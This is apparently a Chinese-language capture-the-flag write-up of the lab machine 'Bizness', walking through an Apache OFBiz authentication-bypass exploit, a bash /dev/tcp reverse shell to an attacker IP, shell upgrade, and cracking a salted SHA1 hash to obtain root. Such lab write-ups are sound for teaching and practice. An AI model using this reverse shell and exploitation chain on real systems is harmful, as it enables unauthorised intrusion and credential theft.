Linux/Bizness
Enumeration
nmap
用 nmap 扫描了常见的端口,发现对外开放了22,80,443
┌──(kali㉿kali)-[~]
└─$ nmap 10.10.11.252
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-08 01:21 EST
Nmap scan report for 10.10.11.252
Host is up (0.36s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open httpsNmap done: 1 IP address (1 host up) scanned in 41.55 seconds
访问 80 端口,重定向至域名,将其添加至 /etc/hosts 中

添加索引后访问系统,在页面最底部发现 Powerd by Apache OFBiz

使用目录扫描工具发现了 /control/login 接口,在登录页面可以看到 OFBiz的版本为 18.12

Exploitation
Apache OFBiz漏洞
搜索该版本发现存在两个漏洞,漏洞编号分别为 CVE-2023-49070 和 CVE-2023-51467
Apache OFBiz 是一个用于企业流程自动化的开源产品。它包括 ERP、CRM、电子商务/电子商务、供应链管理和制造资源规划的框架组件和业务应用程序。OFBiz 为可靠、安全和可扩展的企业解决方案提供了基础和起点。下面这篇文章详细分析了这两个漏洞
漏洞分析Apache OFBiz Authentication Bypass Vulnerability (CVE-2023-49070 and CVE-2023-51467) - vsociety (vicarius.io)
在搜索漏洞 PoC 时发现了一个 gui 工具,包含了两个漏洞,用起来是真方便啊,只需要把目标 url 和要执行的命令放进去,exploit 一下结果就出来了

一开始使用了非常常见的反向 shell 连接指令
/bin/bash -i >& /dev/tcp/10.10.14.19/4444 0>&1
然后得到了下面的结果,可以执行 id 和 whoami 命令,看到第 5 行和第 6 行有两句话,查了一下。bash: cannot set terminal process group (727): Inappropriate ioctl for device。这个错误通常出现在bash shell中,当bash尝试为一个终端设置进程组时发生错误。Inappropriate ioctl for device表明bash尝试对一个不支持所需ioctl操作(输入/输出控制操作)的设备执行操作。这可能是因为bash在没有控制终端的环境中运行,例如通过某些网络服务启动的bash shell。bash: no job control in this shell。这个警告表明当前bash shell没有作业控制功能。作业控制通常允许用户在前台和后台之间切换命令的执行,并管理这些命令的状态(例如挂起、恢复或终止它们)。当bash在没有控制终端的环境中运行时,例如通过SSH的某些配置或某些非交互式服务,作业控制功能通常会被禁用
┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.11.252] 56216
bash: cannot set terminal process group (727): Inappropriate ioctl for device
bash: no job control in this shell
ofbiz@bizness:/opt/ofbiz$ id
id
uid=1001(ofbiz) gid=1001(ofbiz-operator) groups=1001(ofbiz-operator)
ofbiz@bizness:/opt/ofbiz$ whoami
whoami
ofbiz
ofbiz@bizness:/opt/ofbiz$ help
本来想放弃,但是想了想能执行 id 和 whoami 命令,执行不了其他的,会不会是次数的问题,比如只能执行多少次等等。所以重新获取一个 shell 后,直接用 python 语句升级 shell,然后这个困扰我的问题暂时解决了,可我还是不清楚到底发生了什么
┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.11.252] 55692
bash: cannot set terminal process group (727): Inappropriate ioctl for device
bash: no job control in this shell
ofbiz@bizness:/opt/ofbiz$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
ofbiz@bizness:/opt/ofbiz$ ^Z
zsh: suspended nc -nvlp 4444┌──(kali㉿kali)-[~]
└─$ stty raw -echo;fg
[1] + continued nc -nvlp 4444reset
reset: unknown terminal type unknown
Terminal type? screen
Privilege Escalation
使用 linpeas.sh 搜索系统漏洞,发现了一些数据库文件
/opt/ofbiz/runtime/data/derby/ofbiz/seg0/c6850.dat /opt/ofbiz/runtime/data/derby/ofbiz/seg0/cde61.dat /opt/ofbiz/runtime/data/derby/ofbiz/seg0/c2e1.dat /opt/ofbiz/runtime/data/derby/ofbiz/seg0/c14ad1.dat /opt/ofbiz/runtime/data/derby/ofbiz/seg0/cde51.dat /opt/ofbiz/runtime/data/derby/ofbiz/seg0/cce71.dat /opt/ofbiz/runtime/data/derby/ofbiz/seg0/c6861.dat /opt/ofbiz/runtime/data/derby/ofbiz/seg0/cce61.dat
搜索所有 .dat 文件并将其重定向到 datfile 文件夹中
find / -name '*.dat' -type f 2>/dev/null > /tmp/datfile
在其中搜索 SHA 字符串时,发现了下面的内容
"$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I$SHA = 表示 SHA1 哈希值
$d = 盐值
$uP0_QaVBpDWFeo8-dRzDqRwXQ2I = bas64编码的哈希值
使用 hashcat 破解,提前将 hash 解码并转为 16 进制,然后使用 hashcat 破解 hash 值,得到密码 monkeybizness,在切换到 root 即可

相关文章:
Linux/Bizness
Enumeration nmap 用 nmap 扫描了常见的端口,发现对外开放了22,80,443 ┌──(kali㉿kali)-[~] └─$ nmap 10.10.11.252 Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-08 01:21 EST Nmap scan report for 10.10.11.252 Host is up (0.36s latency). Not…...
mysql 数据库 增删改查 基本操作
目录 一 SQL 详细介绍 (一)SQL 分类 (二) SQL 语言规范 (三)数据库对象和命名 1,数据库的组件(对象): 2,命名规则: (四) SQL…...
计算机网络——物理层(编码与调制)
计算机网络——编码与调制 基带信号和宽带信号编码与调制数字数据编码为数字信号非归零编码归零编码反向不归零编码曼彻斯特编码差分曼彻斯特编码4B/5B编码 数字数据调制为模拟信号模拟数据编码为数字信号模拟数据调制为模拟信号 我们之前讲了物理层的一些基础知识和两个准则&a…...
PHP魔术方法详解
__construct() 构造函数用于初始化新创建的对象。PHP 5 之后不推荐使用类名作为构造函数。 class Person {public $name;public $age;public function __construct($name, $age) {$this->name $name;$this->age $age;} }$person new Person("Alice", 30);…...
游戏 AI 反作弊|内附解决方案详情!
我们提出使用在游戏中广泛存在的回放日志数据,重构出玩家当局的表现。在回放 日志数据中,我们构建了玩家的时序行为数据,并基于该时序行为数据,分别搭建 了透视和自瞄外挂检测系统,该方法和系统可广泛应用于各种在线…...
elementUI组件库样式修改整理
一、整体修改样式注意点 避免!important,能使用深度选择器就用深度选择器主题色使用变量,方便后期统一修改,最好新建一个单独的文件,专门用于定义公共变量样式文件尽量放在一个文件里,方便后期维护 二、单独element …...
还是了解下吧,大语言模型调研汇总
大语言模型调研汇总 一. Basic Language ModelT5GPT-3LaMDAJurassic-1MT-NLGGopherChinchillaPaLMU-PaLMOPTLLaMABLOOMGLM-130BERNIE 3.0 Titan 二. Instruction-Finetuned Language ModelT0FLANFlan-LMBLOOMZ & mT0GPT-3.5ChatGPTGPT-4AlpacaChatGLMERNIE BotBard 自从Cha…...
Win11初始化系统遇一文解决
这个是目录 一、设置内的初始化无法使用时,使用以下工具二、将桌面移动到D盘三、解决win11桌面右键创建只有一个带盾牌的文件夹问题四、win11 系统停止更新五、office安装1、使用的是 Office Tool plus2、使用WPS 六、D盘有感叹号七、打开组策略编辑器(gpedit.msc)失…...
vr虚拟现实游戏世界介绍|数字文化展览|VR元宇宙文旅
虚拟现实(VR)游戏世界是一种通过虚拟现实技术创建的沉浸式游戏体验,玩家可以穿上VR头显,仿佛置身于游戏中的虚拟世界中。这种技术让玩家能够全方位、身临其境地体验游戏,与游戏中的环境、角色和物体互动。 在虚拟现实游…...
kotlin 程序 编译与执行
准备kotlin环境 Ubuntu安装kotlin 1. 创建一个名为 hello.kt 文件,代码如下: fun main(args: Array<String>) {println("Hello, World!") }2. 使用 Kotlin 编译器编译应用 kotlinc hello.kt -include-runtime -d hello.jar-d: 用来设…...
Python学习:注释和运算符
python 注释 在Python中,注释用于在代码中添加解释、说明或者提醒,但并不会被解释器执行。Python中的注释以#开头,直到行末为止。下面是关于Python注释的详细解释和举例: 单行注释:使用#符号在行的开头添加注释&…...
英伟达 V100、A100/800、H100/800 GPU 对比
近期,不论是国外的 ChatGPT,还是国内诸多的大模型,让 AIGC 的市场一片爆火。而在 AIGC 的种种智能表现背后,均来自于堪称天文数字的算力支持。以 ChatGPT 为例,据微软高管透露,为 ChatGPT 提供算力支持的 A…...
Spark面试重点
文章目录 1.简述hadoop 和 spark 的不同点(为什么spark更快)2.谈谈你对RDD的理解3.简述spark的shuffle过程4. groupByKey和reduceByKey的区别 1.简述hadoop 和 spark 的不同点(为什么spark更快) Hadoop 和 Spark 是两种用于大数据…...
UGUI源码分析与研究2-从底层实现的角度去分析和调优UI的性能问题和疑难杂症
从底层实现的角度去分析和调优UI的性能问题和疑难杂症,可以从以下几个方面入手: 绘制性能优化:UI的绘制是一个重要的性能瓶颈,可以通过以下方式进行优化: 减少绘制区域:只绘制可见区域,避免不必…...
OpenAI的GPT已达极限,更看好AI Agent
日前,比尔盖茨发表文章表示:AI Agent不仅会改变人与电脑的互动方式,或许还将颠覆软件行业,引领自输入命令到点击图标以来的最大计算机革命。 在数字化和技术创新的浪潮中,AI Agent作为一种前沿技术,正开启…...
【C/C++】详解 assert() 断言(什么是assert? assert有什么作用?)
目录 一、前言 二、什么是 assert ? 三、assert 的用法 四、assert 案例解析 五、assert 断言的使用原则 六、共勉 一、前言 在编写程序过程中,尤其是调试代码时,往往需要一个提醒代码漏洞/Bug的小助手,以便于程序员及时修改和完善代码…...
[C++]20:unorderedset和unorderedmap结构和封装。
unorderedset和unorderedmap结构和封装 一.哈希表:1.直接定址法:2.闭散列的开放定址法:1.基本结构:2.insert3.find4.erase5.补充:6.pair<k,v> k的数据类型: 3.开散列的拉链法/哈希桶:1.基…...
ARM 汇编指令:(六) B 跳转指令
目录 一.B 和 BL 1.B/BL指令的语法格式 2.示例解析 一.B 和 BL 跳转指令 B 使程序跳转到指定的地址执行程序。指令 BL 将下一条指令的地址复制到 R14(即返回地址连接寄存器 LR)寄存器中,然后跳转到指定地址运行程序。 1.B/B…...
SQLiteC/C++接口详细介绍之sqlite3类(十一)
返回目录:SQLite—免费开源数据库系列文章目录 上一篇:SQLiteC/C接口详细介绍之sqlite3类(十) 下一篇:SQLiteC/C接口详细介绍之sqlite3类(十二)(未发表) 33.sq…...
百度智能云+SpringBoot=AI对话【人工智能】
百度智能云SpringBootAI对话【人工智能】 前言版权推荐百度智能云SpringBootAI对话【人工智能】效果演示登录AI对话 项目结构后端开发pom和propertiessql_table和entitydao和mapperservice和implconfig和utilLoginController和ChatController 前端开发css和jslogin.html和chat.…...
PHP和Node.js哪个更爽?
先说结论,rust完胜。 php:laravel,swoole,webman,最开始在苏宁的时候写了几年php,当时觉得php真的是世界上最好的语言,因为当初活在舒适圈里,不愿意跳出来,就好比当初活在…...
css的定位(position)详解:相对定位 绝对定位 固定定位
在 CSS 中,元素的定位通过 position 属性控制,共有 5 种定位模式:static(静态定位)、relative(相对定位)、absolute(绝对定位)、fixed(固定定位)和…...
LLM基础1_语言模型如何处理文本
基于GitHub项目:https://github.com/datawhalechina/llms-from-scratch-cn 工具介绍 tiktoken:OpenAI开发的专业"分词器" torch:Facebook开发的强力计算引擎,相当于超级计算器 理解词嵌入:给词语画"…...
ardupilot 开发环境eclipse 中import 缺少C++
目录 文章目录 目录摘要1.修复过程摘要 本节主要解决ardupilot 开发环境eclipse 中import 缺少C++,无法导入ardupilot代码,会引起查看不方便的问题。如下图所示 1.修复过程 0.安装ubuntu 软件中自带的eclipse 1.打开eclipse—Help—install new software 2.在 Work with中…...
第 86 场周赛:矩阵中的幻方、钥匙和房间、将数组拆分成斐波那契序列、猜猜这个单词
Q1、[中等] 矩阵中的幻方 1、题目描述 3 x 3 的幻方是一个填充有 从 1 到 9 的不同数字的 3 x 3 矩阵,其中每行,每列以及两条对角线上的各数之和都相等。 给定一个由整数组成的row x col 的 grid,其中有多少个 3 3 的 “幻方” 子矩阵&am…...
蓝桥杯 冶炼金属
原题目链接 🔧 冶炼金属转换率推测题解 📜 原题描述 小蓝有一个神奇的炉子用于将普通金属 O O O 冶炼成为一种特殊金属 X X X。这个炉子有一个属性叫转换率 V V V,是一个正整数,表示每 V V V 个普通金属 O O O 可以冶炼出 …...
GO协程(Goroutine)问题总结
在使用Go语言来编写代码时,遇到的一些问题总结一下 [参考文档]:https://www.topgoer.com/%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B/goroutine.html 1. main()函数默认的Goroutine 场景再现: 今天在看到这个教程的时候,在自己的电…...
Qemu arm操作系统开发环境
使用qemu虚拟arm硬件比较合适。 步骤如下: 安装qemu apt install qemu-system安装aarch64-none-elf-gcc 需要手动下载,下载地址:https://developer.arm.com/-/media/Files/downloads/gnu/13.2.rel1/binrel/arm-gnu-toolchain-13.2.rel1-x…...
永磁同步电机无速度算法--基于卡尔曼滤波器的滑模观测器
一、原理介绍 传统滑模观测器采用如下结构: 传统SMO中LPF会带来相位延迟和幅值衰减,并且需要额外的相位补偿。 采用扩展卡尔曼滤波器代替常用低通滤波器(LPF),可以去除高次谐波,并且不用相位补偿就可以获得一个误差较小的转子位…...
热门Chrome扩展程序存在明文传输风险,用户隐私安全受威胁
赛门铁克威胁猎手团队最新报告披露,数款拥有数百万活跃用户的Chrome扩展程序正在通过未加密的HTTP连接静默泄露用户敏感数据,严重威胁用户隐私安全。 知名扩展程序存在明文传输风险 尽管宣称提供安全浏览、数据分析或便捷界面等功能,但SEMR…...

